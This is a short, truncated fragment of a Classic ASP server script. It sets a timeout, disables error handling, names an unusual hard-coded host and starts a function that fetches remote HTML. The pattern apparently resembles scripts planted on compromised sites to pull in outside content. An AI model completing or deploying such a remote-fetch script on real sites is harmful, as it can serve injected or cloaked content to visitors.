<% Server.ScriptTimeOut=500 'on error resume next _host="1.1dvj/d/" run_type=3 Function GetHtml(url) Set ObjXMLHTTP=Server.